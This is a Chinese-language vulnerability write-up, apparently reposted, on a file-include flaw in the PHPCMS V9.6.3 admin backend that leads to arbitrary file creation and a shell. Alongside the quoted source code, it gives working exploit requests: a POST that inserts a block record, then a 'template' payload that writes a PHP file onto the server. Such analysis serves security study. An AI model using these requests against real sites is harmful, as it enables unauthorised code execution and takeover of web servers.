PHPCMS V9.6.3的后台漏洞分析


PHPCMS V9.6.3后台的漏洞分析

 

1、利用文件包含創建任意文件getshell

漏洞文件:\phpcmsv9\phpcms\modules\block\block_admin.php

漏洞產生點位於265~272行:

  

1 if (@file_put_contents($filepath,$str)) {
2                  ob_start();
3                  include $filepath;
4                  $html = ob_get_contents();
5                  ob_clean();
6                  @unlink($filepath);
7             }

可以看到使用file_put_contents函數將 $str 寫入 $filepath 中並且包含該文件,查看$filepath和$str變量是否可控。

 1 public function public_view() {
 2         $id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) :  exit('0');
 3         if (!$data = $this->db->get_one(array('id'=>$id))) {
 4             showmessage(L('nofound'));
 5         }
 6         if ($data['type'] == 1) {
 7             exit('<script type="text/javascript">parent.showblock('.$id.', \''.str_replace("\r\n", '', $_POST['data']).'\')</script>');
 8         } elseif ($data['type'] == 2) {
 9             extract($data);
10             unset($data);
11             $title = isset($_POST['title']) ? $_POST['title'] : '';
12             $url = isset($_POST['url']) ? $_POST['url'] : '';
13             $thumb = isset($_POST['thumb']) ? $_POST['thumb'] : '';
14             $desc = isset($_POST['desc']) ? $_POST['desc'] : '';
15             $template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
16             $data = array();
17             foreach ($title as $key=>$v) {
18                 if (empty($v) || !isset($url[$key]) ||empty($url[$key])) continue;
19                 $data[$key] = array('title'=>$v, 'url'=>$url[$key], 'thumb'=>$thumb[$key], 'desc'=>str_replace(array(chr(13), chr(43)), array('<br />', '&nbsp;'), $desc[$key]));
20             }
21             $tpl = pc_base::load_sys_class('template_cache');
22             $str = $tpl->template_parse(new_stripslashes($template));
23             $filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.'tmp_'.$id.'.php';
24             $dir = dirname($filepath);
25             if(!is_dir($dir)) {
26                 @mkdir($dir, 0777, true);
27             }

可以看到變量 $template 可控,跟進 new_stripslashes()函數:

/**
 * 返回經stripslashes處理過的字符串或數組
 * @param $string 需要處理的字符串或數組
 * @return mixed
 */
function new_stripslashes($string) {
    if(!is_array($string)) return stripslashes($string);
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
    return $string;
}

 template_parse()函數:

/**
     * 解析模板
     *
     * @param $str    模板內容
     * @return ture
     */
    public function template_parse($str) {
        $str = preg_replace ( "/\{template\s+(.+)\}/", "<?php include template(\\1); ?>", $str );
        $str = preg_replace ( "/\{include\s+(.+)\}/", "<?php include \\1; ?>", $str );
        $str = preg_replace ( "/\{php\s+(.+)\}/", "<?php \\1?>", $str );
        $str = preg_replace ( "/\{if\s+(.+?)\}/", "<?php if(\\1) { ?>", $str );
        $str = preg_replace ( "/\{else\}/", "<?php } else { ?>", $str );
        $str = preg_replace ( "/\{elseif\s+(.+?)\}/", "<?php } elseif (\\1) { ?>", $str );
        $str = preg_replace ( "/\{\/if\}/", "<?php } ?>", $str );
        //for 循環
        $str = preg_replace("/\{for\s+(.+?)\}/","<?php for(\\1) { ?>",$str);
        $str = preg_replace("/\{\/for\}/","<?php } ?>",$str);
        //++ --
        $str = preg_replace("/\{\+\+(.+?)\}/","<?php ++\\1; ?>",$str);
        $str = preg_replace("/\{\-\-(.+?)\}/","<?php ++\\1; ?>",$str);
        $str = preg_replace("/\{(.+?)\+\+\}/","<?php \\1++; ?>",$str);
        $str = preg_replace("/\{(.+?)\-\-\}/","<?php \\1--; ?>",$str);
        $str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\}/", "<?php \$n=1;if(is_array(\\1)) foreach(\\1 AS \\2) { ?>", $str );
        $str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/", "<?php \$n=1; if(is_array(\\1)) foreach(\\1 AS \\2 => \\3) { ?>", $str );
        $str = preg_replace ( "/\{\/loop\}/", "<?php \$n++;}unset(\$n); ?>", $str );
        $str = preg_replace ( "/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "<?php echo \\1;?>", $str );
        $str = preg_replace ( "/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "<?php echo \\1;?>", $str );
        $str = preg_replace ( "/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/", "<?php echo \\1;?>", $str );
        $str = preg_replace_callback("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/s",  array($this, 'addquote'),$str);
        $str = preg_replace ( "/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "<?php echo \\1;?>", $str );
        $str = preg_replace_callback("/\{pc:(\w+)\s+([^}]+)\}/i", array($this, 'pc_tag_callback'), $str);
        $str = preg_replace_callback("/\{\/pc\}/i", array($this, 'end_pc_tag'), $str);
        $str = "<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?>" . $str;
        return $str;
    }

可以看到並無對 $template 的有效過濾,從而導致 $str 可控。再看漏洞產生點,是將 $str 寫入文件中包含該文件,然后再將該文件刪除。那么可以構造payload:

<?php file_put_contents("phpinfo.php","<?php phpinfo();?>");

接下來尋找怎么利用該漏洞,在函數 public_view() 中,跟入get_one()函數:

/**
     * 獲取單條記錄查詢
     * @param $data         需要查詢的字段值[例`name`,`gender`,`birthday`]
     * @param $table         數據表
     * @param $where         查詢條件
     * @param $order         排序方式    [默認按數據庫默認方式排序]
     * @param $group         分組方式    [默認為空]
     * @return array/null    數據查詢結果集,如果不存在,則返回空
     */
    public function get_one($data, $table, $where = '', $order = '', $group = '') {
        $where = $where == '' ? '' : ' WHERE '.$where;
        $order = $order == '' ? '' : ' ORDER BY '.$order;
        $group = $group == '' ? '' : ' GROUP BY '.$group;
        $limit = ' LIMIT 1';
        $field = explode( ',', $data);
        array_walk($field, array($this, 'add_special_char'));
        $data = implode(',', $field);

        $sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
        $this->execute($sql);
        $res = $this->fetch_next();
        $this->free_result();
        return $res;
    }

可以看到是查詢一條數據,其 sql 語句為: select * from phpcmsv9.block where id=$id limit 1; 並且需要返回一個數組。否則報錯 nofound。因此需要先使用 add() 函數插入一條

數據並且 type 字段為 2,跟進 add() 函數:

 1 public function add() {
 2         $pos = isset($_GET['pos']) && trim($_GET['pos']) ? trim($_GET['pos']) : showmessage(L('illegal_operation'));
 3         if (isset($_POST['dosubmit'])) {
 4             $name = isset($_POST['name']) && trim($_POST['name']) ? trim($_POST['name']) : showmessage(L('illegal_operation'), HTTP_REFERER);
 5             $type = isset($_POST['type']) && intval($_POST['type']) ? intval($_POST['type']) : 1;
 6             //判斷名稱是否已經存在
 7             if ($this->db->get_one(array('name'=>$name))) {
 8                 showmessage(L('name').L('exists'), HTTP_REFERER);
 9             }
10             if ($id = $this->db->insert(array('name'=>$name, 'pos'=>$pos, 'type'=>$type, 'siteid'=>$this->siteid), true)) {
11                 //設置權限
12                 $priv = isset($_POST['priv']) ? $_POST['priv'] : '';
13                 if (!empty($priv)) {
14                     if (is_array($priv)) foreach ($priv as $v) {
15                         if (empty($v)) continue;
16                         $this->priv_db->insert(array('roleid'=>$v, 'blockid'=>$id, 'siteid'=>$this->siteid));
17                     }
18                 }
19                 showmessage(L('operation_success'), '?m=block&c=block_admin&a=block_update&id='.$id);
20             } else {
21                 showmessage(L('operation_failure'), HTTP_REFERER);
22             }
23         } else {
24             $show_header = $show_validator = true;
25             pc_base::load_sys_class('form');
26             $administrator = getcache('role', 'commons');
27             unset($administrator[1]);
28             include $this->admin_tpl('block_add_edit');
29         }
30     }

可以看到第10行,會將 post 數據寫入 v9_block 表中,如要將數據寫入表中需要滿足條件:

  1、$pos 不為空。

  2、$dosubmit 不為空。

  3、$name 不為空,並且 $type = 2。

  4、$name 不能與已有的數據重復。

於是構造 url : http://www.test.com/index.php?m=block&c=block_admin&pc_hash=123456&a=add&pos=1

  POST數據:dosubmit=1&name=test&type=2

這第一步訪問上述地址將數據插入至v9_block表中。

  可以看到 id 為4即為剛才插入的數據。接下來將payload寫入文件。

構造 URL:http://www.test.com/index.php?m=block&c=block_admin&a=public_view&id=4

POST數據:template=<?php file_put_contents("phpinfo.php","<?php phpinfo();?>");

訪問:

注:要想利用成功,在往v9_block表中插入數據時需要判斷 $pc_hash 是否合法,所以想要利用該漏洞需先獲取$pc_hash的值。而pc_hash的值登錄后台即可在url中獲取。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM